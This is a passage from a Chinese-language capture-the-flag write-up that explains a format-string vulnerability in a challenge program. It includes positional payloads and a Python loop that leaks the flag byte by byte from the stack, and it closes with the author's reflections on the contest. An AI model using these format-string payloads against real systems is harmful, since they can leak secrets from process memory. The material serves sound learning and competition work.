    printf(buffer, "Welcome", "~~~", number);  // 漏洞點!

    return 0;
}

關鍵發現:

  1. flag存在棧上 (char flag[0x100])
  2. 用戶輸入直接進入printf的格式字符串
  3. 這是典型的Format String漏洞

第二步:理解漏洞機制 #

當我們輸入123時:

buffer = "Format number : %3$123d\n"
printf(buffer, "Welcome", "~~~", number)

正常執行,顯示第3個參數。

當我們輸入%20$時:

buffer = "Format number : %3$%20$d\n"
printf(buffer, "Welcome", "~~~", number)

這會讀取第20個棧位置的值!

第三步:棧布局分析 #

程序運行時的棧布局(從高地址到低地址):

[高地址]
...其他變量...
number (int)
fd (int)
flag[256]     ← 我們的目標!
format[16]
buffer[32]
[低地址]

printf調用時的參數:
位置1: buffer (格式字符串指針)
位置2: "Welcome"
位置3: "~~~"
位置4: number
位置5+: 棧上的其他數據...

第四步:找到flag位置 #

通過爆破不同位置來找flag:

# 測試位置1-30
for pos in range(1, 31):
    payload = f"%4$%{pos}$"  # %4$跳過前面的參數,%{pos}$讀取指定位置
    # 發送payload並觀察他的reply

發現過程:

  • 位置1-4:已知的printf參數
  • 位置5-19:其他棧變量(隨機值)
  • 位置20:發現了’A’ (ASCII 65)
  • 位置21:發現了’I’ (ASCII 73)
  • 位置22:發現了’S’ (ASCII 83)
  • 位置23:發現了'3’ (ASCII 51)
  • 位置24:發現了’{’ (ASCII 123)
    這就是AIS3{的開始!

第五步:payload構造邏輯 #

核心payload:%4$%{position}$

解釋:

  • %4$:先讀取第4個參數(number),這是必須的因為格式字符串期望這樣
  • %{position}$:然後讀取指定位置的值

當程序執行時:

printf("Format number : %3$%4$%20$d\n", "Welcome", "~~~", number)
  • %3$讀取第3個參數("~~~")
  • %4$讀取第4個參數(number)
  • %20$讀取第20個棧位置的值(flag的第一個字節)

第六步:提取完整flag #

def extract_complete_flag():
    flag_chars = []
    
    for pos in range(20, 60):  # 從位置20開始
        # 發送payload
        payload = f"%4$%{pos}$"
        conn.sendlineafter(b"What format do you want ? ", payload.encode())
        response = conn.recvall()
        
        # 從reply中提取數字
        numbers = re.findall(rb'Format number : %\d\$(\d+)', response)
        if numbers:
            num = int(numbers[0])
            char = chr(num & 0xFF)  # 轉換為字符
            
            if char.isprintable():
                flag_chars.append(char)
                if char == '}':  # 找到結尾
                    break
    
    return ''.join(flag_chars)

flag: AIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!} #

心得 #

這大概是我最高的排名了 存 (這大概是剛開賽不久的時候)

image

那個時候名字還叫
image

總之排名
image

很多題解的時候還有好幾百分的
到最後都變成100了 有點小難過
其實今年能打到14題…算是蠻意料之外的
只能說AI真的幫了很大的忙
看不懂的東西先丟給他讓他理解再跟我說明
思路卡住了可以題點我其他想法或是輔助分析 很像隊友的感覺
省了很多查資料的時間 雖然我也知道這種直接要答案的學習方法不是很好
這次算是嘗到甜頭了 但平常學習的時候也不會這樣用了
||現在才開始後怕解太多題目,到時候分組就不會被跟大佬分一組了😖||

從去年的5題到今年的14題
本來開賽前還因為女婕思和種種原因在自我懷疑這一年是不是都沒有進步
因此比賽時間結束的時候有一種鬆了一口氣的感覺

這次算是很認真很認真去打的CTF 扣掉吃飯睡覺畢業典禮 總共打了26小時左右
但還是花了很多時間像是無頭蒼蠅一樣的亂打亂撞
也有很多題感覺就差臨門一腳了但最後還是沒能解出來
我還有很多不足的地方 我離前30名、前20名就是差那一題、兩題的距離
但就算只有一題還是感覺差了很多很多 還是收穫了滿滿不甘心的感覺 沒解出來就是沒解出來 我還有很多進步的空間 再接再厲

image